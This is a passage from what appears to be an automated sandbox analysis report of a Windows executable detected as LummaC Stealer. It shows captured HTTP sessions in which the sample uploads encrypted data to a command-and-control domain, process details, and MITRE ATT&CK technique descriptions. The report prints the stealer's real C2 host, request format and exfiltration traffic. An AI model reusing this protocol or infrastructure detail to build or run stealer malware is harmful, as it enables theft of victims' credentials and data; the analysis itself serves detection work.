{"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9138cbda98837c8d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1788&min_rtt=1783&rtt_var=678&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2853&recv_bytes=21407&delivery_rate=1601755&cwnd=192&unsent_bytes=0&cid=117476155b362dd4&ts=1253&x=0"
2025-02-17 21:16:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-17 21:16:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	104.21.17.68	443	7324	C:\Users\user\Desktop\keynote.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-17 21:16:05 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3Y8XOK8Z4UPF2DCT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 2567 Host: bzondingmoments.tech
2025-02-17 21:16:05 UTC	2567	OUT	Data Raw: 2d 2d 33 59 38 58 4f 4b 38 5a 34 55 50 46 32 44 43 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 65 0d 0a 2d 2d 33 59 38 58 4f 4b 38 5a 34 55 50 46 32 44 43 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 57 38 5a 51 4e 2d 2d 0d 0a 2d 2d 33 59 38 58 4f 4b 38 5a 34 55 50 46 32 44 43 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 59 38 58 4f 4b 38 5a 34 55 50 46 32 44 43 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --3Y8XOK8Z4UPF2DCTContent-Disposition: form-data; name="act"send_message--3Y8XOK8Z4UPF2DCTContent-Disposition: form-data; name="lid"PW8ZQN----3Y8XOK8Z4UPF2DCTContent-Disposition: form-data; name="pid"1--3Y8XOK8Z4UPF2DCTContent-Di
2025-02-17 21:16:06 UTC	1045	IN	HTTP/1.1 200 OK Date: Mon, 17 Feb 2025 21:16:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=glbtgj2kjon7bqrldefca73hcd; expires=Tue, 18 Feb 2025 21:16:06 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hrqXya%2BC0NDJnEj71X9Wtx6THeHo6lB%2F4gqIHxtM6DlR4PEm4LdSWtMeLx8UeprrACR%2FnjAP8HnZV0xwvHDwdvlAAcT6p%2F1VZO8QywA8334dvKWH3NvbVptMFMz9qOfsVViV9832Cg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9138cbe93d567d1c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2051&min_rtt=2048&rtt_var=770&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2852&recv_bytes=3486&delivery_rate=1425781&cwnd=158&unsent_bytes=0&cid=51be075ee749c9fb&ts=897&x=0"
2025-02-17 21:16:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-17 21:16:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	104.21.17.68	443	7324	C:\Users\user\Desktop\keynote.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-17 21:16:07 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KY4NZ0VBIJDE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549598 Host: bzondingmoments.tech
2025-02-17 21:16:07 UTC	15331	OUT	Data Raw: 2d 2d 4b 59 34 4e 5a 30 56 42 49 4a 44 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 65 0d 0a 2d 2d 4b 59 34 4e 5a 30 56 42 49 4a 44 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 57 38 5a 51 4e 2d 2d 0d 0a 2d 2d 4b 59 34 4e 5a 30 56 42 49 4a 44 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 59 34 4e 5a 30 56 42 49 4a 44 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d Data Ascii: --KY4NZ0VBIJDEContent-Disposition: form-data; name="act"send_message--KY4NZ0VBIJDEContent-Disposition: form-data; name="lid"PW8ZQN----KY4NZ0VBIJDEContent-Disposition: form-data; name="pid"1--KY4NZ0VBIJDEContent-Disposition: form-
2025-02-17 21:16:07 UTC	15331	OUT	Data Raw: 1b 06 3c c9 31 b1 fe 3f 97 11 f6 55 00 4d 5c ce cd b6 f8 cb 80 ed 93 7c 74 1a 5b 41 cc 74 81 ee 69 2c 10 bb a2 0e 2b e5 13 92 43 7c 0b ce 3a 0b 0a 04 48 13 d7 6f 8c 9f 88 13 a0 cd 17 ab 4f c5 df 09 b7 db 88 08 38 16 b6 97 61 f4 87 90 ad b3 f3 41 94 71 10 5e 1f 94 74 04 f9 4f e6 41 70 36 54 29 85 3f d2 0c 17 ee 07 0e 5a 9d 80 5c cd f3 16 44 aa 6f 5c 5a 14 b8 f1 6f cb c7 01 97 be b1 be 77 69 23 f6 43 4e ef d0 a1 9a f5 1b 57 a9 50 81 7d 45 87 49 c9 d5 c4 10 d7 c9 b4 28 14 dc bb df 47 c4 08 13 8a 4c 3b 31 34 2d 07 03 92 fc e3 a9 b9 a0 38 d8 d1 65 cd a1 41 03 3f 1d b0 74 f0 7d 9f 1e d8 6e 2c bf fb e6 d4 e8 e0 c5 dd fd de 37 4e f6 4a f7 4e 8e 29 da bf 75 28 a9 ca 7e 63 53 51 f0 df c5 b4 d9 c3 ff 00 ad aa d0 0f de 82 c0 48 43 74 7c 9b 3e 7e 0b 48 9b d5 5f 62 dd Data Ascii: <1?UM\\|t[Ati,+C\|:HoO8aAq^tOAp6T)?Z\Do\Zowi#CNWP}EI(GL;14-8eA?t}n,7NJN)u(~cSQHCt\|>~H_b
2025-02-17 21:16:07 UTC	15331	OUT	Data Raw: dc ef 1f c7 e3 ca 46 27 a7 a7 a3 eb f4 27 94 9c 55 c0 4e c7 08 88 20 b7 0f 4f b5 0c 24 aa 28 29 46 c4 fd 7a 7f e2 98 7c a4 81 53 97 21 ce ef b8 0a 9f 1f 2f 5f ad ab 83 7b d4 58 f6 eb 5d 06 81 ff ae 9a f5 b4 c0 ab 12 1e 1e cd cf 23 1e 8b e6 17 5a 53 ea 5b 12 da d9 24 a7 fd 6a a3 f6 51 1c 41 0e 25 b4 07 67 f2 50 77 49 bc 52 e5 95 60 6a cb 9d d0 da 3d f9 93 72 fd fc df d5 b3 26 af 8c fe 3e 1b 7d 35 3d 64 1f df dd 20 d1 3e 6a b3 e1 f3 c6 68 d8 5f fc 97 62 ed 54 08 3f fa 27 b3 7b dd e9 8a df a3 4c 43 44 67 96 68 56 6e 8b ac d0 fa 70 ec b1 21 a8 3b 6a 4b e4 e9 8e 02 95 74 96 f2 04 2f 5d 24 43 e2 05 3b 58 34 5d 8c 39 be 39 cb ed 7e cf d1 6f 35 c1 7b e8 ff da 61 da da 49 7f 50 02 f1 2f ca 2e 5e 9f b7 19 89 14 20 1c 0d b5 a1 5c c9 d7 18 d0 e3 f7 93 26 8e 49 3d b3 Data Ascii: F''UN O$()Fz\|S!/_{X]#ZS[$jQA%gPwIR`j=r&>}5=d >jh_bT?'{LCDghVnp!;jKt/]$C;X4]99~o5{aIP/.^ \&I=
2025-02-17 21:16:07 UTC	15331	OUT	Data Raw: 81 9e cc 8a cf 23 35 15 2f ff 61 31 b9 f9 b1 a7 ab a7 56 fe 38 31 a9 cd e7 84 ba c6 7e 6e fd a6 fa 1a bb db bc e2 5c fb b4 3f 93 9a b7 17 38 0a 17 01 cc ad d3 c0 f1 c2 0e 9e 9d 3a bd b2 85 c2 2c b7 61 09 56 e9 81 36 0e 47 1d 1f 6e f3 75 fd d1 bd 08 ab 09 b9 c9 02 69 20 1b 13 72 cb 6b 1e a2 db 85 da 1b 7c 50 c7 cf f4 be 21 b7 99 3c 0d b7 d0 02 0e 1f 7f 6d 20 3e c2 14 78 c8 ff 7f 47 a0 23 99 a3 10 28 43 43 4d 06 e0 5a 59 2e 22 b2 24 22 35 4b 51 e0 42 c8 53 6d be 35 ba b8 2a f6 d5 2b c5 21 ad 1f 80 b0 87 e8 88 79 86 25 7e 99 74 f5 e0 06 16 3f 31 8c 52 41 81 c4 8f 9c 10 9b 08 9b c4 50 c3 26 ab d2 20 da f8 6c e3 82 ab 01 eb 2e dd f5 c6 4d e3 de 19 c3 b5 3e 62 4c e4 60 8e 00 fd 8c 0c 8c 26 f8 9c 75 e1 d6 28 50 9d cd 19 48 2a a0 55 74 bb 6a a1 8b 72 0f 7f 06 c4 Data Ascii: #5/a1V81~n\?8:,aV6Gnui rk\|P!<m >xG#(CCMZY."$"5KQBSm5+!y%~t?1RAP& l.M>bL`&u(PHUtjr
2025-02-17 21:16:07 UTC	15331	OUT	Data Raw: 6a 7e 8f 19 cb 48 34 b5 27 fe 1b 89 40 53 43 c5 f6 48 63 e7 51 9e 68 f3 76 94 b9 93 c6 af cb f8 97 7e 5b ef 41 74 c7 b9 00 56 1f 82 c4 32 02 98 be e9 74 9b 35 33 bb f3 e4 ea 09 ce 35 03 3c 7e 4a 37 f8 ab 64 20 96 07 23 8c e9 55 18 47 33 a2 8a ba 8d e6 64 3f 58 33 9a 8c b1 e1 42 8d f2 56 ee 99 4e 49 a3 23 e3 77 66 86 2a e2 37 5f 0a 50 f8 39 77 46 83 b1 f5 a4 da eb 4c 66 c4 df 83 e4 3a 89 48 e3 3a 04 3b 10 26 51 8e ba 44 a4 f5 a1 19 71 e5 ea e9 f0 3d be a5 a7 7c 2a 92 c9 96 f6 19 09 38 21 c1 fd 8c 92 3d bb 74 b8 a4 ef b2 a6 37 9e 49 44 1e e6 33 a9 fa b1 d2 a4 75 73 35 b3 75 8b 3b ac 49 07 23 04 5e 0f a8 8d 67 bd e1 02 7f be 8e 3d 89 ac 31 d2 cd 4a e0 15 02 b7 27 a0 c5 73 a6 99 09 a2 b1 cf 17 ce 25 b0 7f 7c 5f c3 35 e5 af aa 91 c5 fe 1c e7 36 39 38 fd 66 8e Data Ascii: j~H4'@SCHcQhv~[AtV2t535<~J7d #UG3d?X3BVNI#wf7_P9wFLf:H:;&QDq=\|8!=t7ID3us5u;I#^g=1J's%\|_5698f
2025-02-17 21:16:07 UTC	15331	OUT	Data Raw: a3 29 9e 73 45 58 fc c7 df dc 0e 57 ec 1d 38 c8 1f 3a 81 09 f5 47 fd 58 c0 c5 66 d5 99 d0 cc c3 26 42 24 38 f3 4f 02 2b bd 58 09 2a d7 c6 c1 b2 6f 7a 45 61 f6 6e 19 d8 10 03 bf e4 62 d7 47 89 0e b6 bd 3a 4b ac ae ef 96 b0 bd f0 c2 8b a7 ff 3b 4c 73 3d 03 7b 87 4b 5a 84 fe 0a b1 13 55 65 22 a9 b0 cd 58 ad 28 cb 6e 5d ad f6 19 ca 50 f7 c3 bc d7 07 f7 67 9f b9 80 be b9 c6 38 b3 33 53 e4 2a 74 93 aa ae b9 8c 9e 45 2f e7 cc d8 1c 25 d3 59 4b aa b4 31 00 de a2 19 f3 ac 3e 52 9a 08 20 ec 11 8b 52 e2 66 37 6c af 0d fe bb 2e 39 52 c3 ec 9c fa 99 20 77 dc 19 de 07 1a 54 76 f6 3b cc b6 40 18 70 48 8a 21 df 00 53 c3 2e 71 81 07 e2 0c 3d 44 da dd bd be ef fd d6 ec dd 26 26 55 88 bd f1 6b ab 92 96 e5 17 6f b2 f4 c4 95 dd 33 39 f8 b7 67 e1 3a 1e b0 a8 ca 81 a7 ce ec 03 Data Ascii: )sEXW8:GXf&B$8O+XozEanbG:K;Ls={KZUe"X(n]Pg83StE/%YK1>R Rf7l.9R wTv;@pH!S.q=D&&Uko39g:
2025-02-17 21:16:07 UTC	15331	OUT	Data Raw: 97 3b 81 df 8e 3c 5a da ca f4 32 de 27 b2 e1 e5 28 a0 50 dd f3 d2 1b 53 34 7c 19 87 47 7c ff 9d 8e 1d 2b 5e 30 27 f1 7f dd 6c 47 d4 01 69 a7 2a a3 9b d9 e6 a9 be 4f 1c 5c f9 27 75 47 ac 33 0f a2 48 10 26 94 f6 d8 23 c7 e6 6b 21 30 fb 2c 14 22 ca 65 29 43 8e c2 bd 27 39 5a e7 d2 b8 f7 7a d0 31 7d 78 97 8b c4 40 de fb 91 16 6d 9b 9a b5 a2 59 1e 72 25 6b 9a 99 23 d4 29 1a ee 22 59 1c 51 7d 04 58 8c 66 6a a0 be 63 7b ff d2 86 2b 1a ae e2 20 b5 06 6c ec d5 c8 72 c8 da d1 5e 02 f0 d4 38 41 c4 a1 10 3c ab d8 39 3b 4b 64 92 75 78 f0 fb 15 4a e5 ae db 4a cc 91 09 96 a5 58 16 36 ec e7 af 56 ff df 05 be cc c3 cc 92 e2 63 c2 0b 97 63 32 75 30 c6 e7 c9 be bc b3 32 71 86 e2 58 8e 34 f4 7a 24 6e b6 38 46 5c 75 20 cc 38 49 d5 93 83 68 13 39 ca 42 9b da 52 b7 45 37 cf 01 Data Ascii: ;<Z2'(PS4\|G\|+^0'lGi*O\'uG3H&#k!0,"e)C'9Zz1}x@mYr%k#)"YQ}Xfjc{+ lr^8A<9;KduxJJX6Vcc2u02qX4z$n8F\u 8Ih9BRE7
2025-02-17 21:16:07 UTC	15331	OUT	Data Raw: e9 a5 62 b9 94 11 97 53 9b d2 08 cf 65 e7 4c e3 26 f4 29 44 68 24 d6 0b a9 4e 5d cd 4e dd f5 06 03 5c ce af cb b1 e2 9d f1 f2 c1 df 7d 61 6d 7c 71 d2 37 df a1 fc 6b 53 19 2c bd 1d 7b 59 44 46 13 ba 49 56 11 c1 54 ec 35 48 d8 a8 e2 10 ee e5 98 ee ef 1f 89 a2 28 8c de 5a 25 57 1e e7 e8 d5 57 73 53 fe 01 3d 8a 90 86 d1 31 ad 95 ea 65 0f 6b 4b 9c 98 c8 b0 fa 94 10 ce ed e3 4f 2e b0 2a 1d 9c 3a 92 7b 24 34 f9 c8 c9 f3 ff 4e 9b b1 48 eb a2 3b ec 88 92 6f 6c b1 6d b3 72 51 2b 3d a7 a1 8c 6c 9f c4 9d 17 97 a6 0d 47 3f d9 41 9f 79 9e c0 67 b1 60 5e b8 2f fd 1c d0 5a 38 40 2c 41 20 8e f2 6e ca f6 5f 49 1b c0 02 72 38 74 8e 0f 94 5b b9 ff f2 76 3f f9 04 74 1e e1 c4 d8 a4 45 e4 9f ba e5 41 74 6a 70 f4 cb aa 40 cf 10 4e e5 ab 4d 71 26 d0 2e c7 9a 96 b2 d3 7d fc 28 29 Data Ascii: bSeL&)Dh$N]N\}am\|q7kS,{YDFIVT5H(Z%WWsS=1ekKO.*:{$4NH;olmrQ+=lG?Ayg`^/Z8@,A n_Ir8t[v?tEAtjp@NMq&.}()
2025-02-17 21:16:07 UTC	15331	OUT	Data Raw: 2a d5 3d 4f 8d b0 a0 a7 67 84 3e 7a b7 41 7f e8 c4 80 6f fa 93 d6 ee cf 0f f3 cd 04 79 b7 e6 ed 3f 19 51 ff 77 4b 4c 10 84 f8 2c 2e a2 81 36 fe 0a 0e bc 45 17 0a a0 86 c9 64 c9 7f 82 d3 b4 7d 12 37 8f d5 58 1a f3 fb ea 20 18 30 e0 04 39 47 96 da 8b a2 07 38 14 2a 0d 73 25 0f f7 4b 8d b8 c6 63 47 54 e9 02 18 6d 96 67 34 35 18 e0 d7 1f b3 c6 56 00 9f 8a f9 e0 71 91 37 5b 71 fb a6 ad d0 bc 76 3e 7c 66 ce 54 cd 89 53 9b cf 2a 52 8d 79 05 c7 c4 ef 41 b0 51 b7 fe fa 15 07 09 d4 f5 84 09 08 dc 20 e0 1a 70 f5 ca 51 21 bb a9 fc 00 c2 41 2b c4 bd a1 3b b9 76 ad 39 b3 64 17 1b 53 a7 11 ec 65 4b bc 07 e6 35 3a 89 90 74 b0 c6 18 9d b4 89 28 c0 6d 9f cd 49 a0 0b 08 fc 9a b2 29 b4 b1 b5 0d cc dc 1b 5b fe c5 6b 4b 99 5a 8f a0 58 9f cc f2 f1 51 5c 82 4a ed c4 32 eb 0e 1f Data Ascii: =Og>zAoy?QwKL,.6Ed}7X 09G8s%KcGTmg45Vq7[qv>\|fTS*RyAQ pQ!A+;v9dSeK5:t(mI)[kKZXQ\J2
2025-02-17 21:16:07 UTC	15331	OUT	Data Raw: 49 0a 3a ce eb d3 04 be da ff df 4b 6f ac e3 f4 4e 66 42 7c 4c 62 d9 4e 43 5e e6 5d 35 2f 41 c4 1b b3 e8 b1 c6 44 c0 b0 3b 0a f2 0f cf a8 40 f9 bf cc 98 ee 0e c3 17 af 7e 11 ad dc 79 b3 98 ad 81 80 c8 2f ae a9 a7 bd 59 57 f3 c3 19 09 f9 4b 35 13 2e 53 f0 44 6d 13 a9 02 ad 2e 60 d9 ba 23 f4 28 0c c3 d4 a0 18 b5 42 53 9c b7 fb f5 e5 22 95 94 09 00 3b 39 7a c7 f9 1b 43 be b3 03 3d 3d a4 0f b8 ce 1f 18 ad 09 ef b9 2d e0 18 b4 f0 6a de 5e 85 d8 42 cf f2 18 ac 94 1b 2c b9 eb 92 2f b6 30 10 26 15 e9 dd ac dc 31 b6 54 ac 4d 8f a2 d6 cd 7a e4 85 20 dc 0b 18 fb 73 7d ec 15 61 10 e2 3d 37 2b 0f 87 f9 41 af 35 93 26 3e ec 49 81 45 1d 3f 51 25 59 b3 7d 15 dc f7 92 41 4e bb c9 36 2c 8f 11 68 fd b9 a6 0b c5 7b 54 4d 45 1b 64 04 4c 9e 79 b6 3c ba 71 ec 3b aa 5d a3 d0 5f Data Ascii: I:KoNfB\|LbNC^]5/AD;@~y/YWK5.SDm.`#(BS";9zC==-j^B,/0&1TMz s}a=7+A5&>IE?Q%Y}AN6,h{TMEdLy<q;]_
2025-02-17 21:16:09 UTC	1056	IN	HTTP/1.1 200 OK Date: Mon, 17 Feb 2025 21:16:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=hb4qm0i7dpluk7ijcpr1if42g8; expires=Tue, 18 Feb 2025 21:16:09 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Enxz4gmLrZLJJixB4uhK1MDG5H4VAzxlIPYuXbFw1h2Xp2BO%2BxYXZ%2FzZ8geEN8oEmptTRT%2F0KQneiDOXMZ%2BltlisnHX0ETELRW7eWOc2SEfB8%2Bl51hesSH9RI7aXM4vxf2zGmLk%2FSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9138cbf52d057c8d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1775&min_rtt=1761&rtt_var=690&sent=188&recv=567&lost=0&retrans=0&sent_bytes=2854&recv_bytes=552077&delivery_rate=1554018&cwnd=192&unsent_bytes=0&cid=34fbe8ae43b1bb79&ts=2165&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	104.21.17.68	443	7324	C:\Users\user\Desktop\keynote.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-17 21:16:10 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: bzondingmoments.tech
2025-02-17 21:16:10 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 57 38 5a 51 4e 2d 2d 26 6a 3d 26 68 77 69 64 3d 37 46 37 41 31 36 39 44 35 43 35 33 41 37 38 46 41 35 41 43 36 39 30 45 37 33 37 41 36 44 43 44 Data Ascii: act=get_message&ver=4.0&lid=PW8ZQN--&j=&hwid=7F7A169D5C53A78FA5AC690E737A6DCD
2025-02-17 21:16:11 UTC	1042	IN	HTTP/1.1 200 OK Date: Mon, 17 Feb 2025 21:16:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=828osf87g5j0nb8aq95ld9jt6i; expires=Tue, 18 Feb 2025 21:16:10 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bc1G5wg%2F47oUBQFucCxwVcyCFC21Nz86VxsQfYP0YPcU7cARzsBj6V1eXaVOWA8zkm30Fl08RMEdovJ0gJ40DtCmzaF9o%2FwMq79FJnYecgJssa%2FsfEjDlQkGQgcs7MLP3t1rYTy85g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9138cc063d5f41c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1763&min_rtt=1757&rtt_var=672&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=981&delivery_rate=1612368&cwnd=209&unsent_bytes=0&cid=ad9179cb345b48fd&ts=872&x=0"
2025-02-17 21:16:11 UTC	54	IN	Data Raw: 33 30 0d 0a 56 49 6d 49 33 4e 64 55 79 45 66 5a 6c 71 77 42 49 78 70 46 69 7a 66 58 36 33 56 2b 66 57 77 70 30 53 73 34 32 59 62 4f 42 6a 34 50 31 41 3d 3d 0d 0a Data Ascii: 30VImI3NdUyEfZlqwBIxpFizfX63V+fWwp0Ss42YbOBj4P1A==
2025-02-17 21:16:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:15:35
Start date:	17/02/2025
Path:	C:\Users\user\Desktop\keynote.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\keynote.exe"
Imagebase:	0xc70000
File size:	6'303'232 bytes
MD5 hash:	C917B7129EF904754323B0DAEB255461
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.2046044393.00000000005B0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
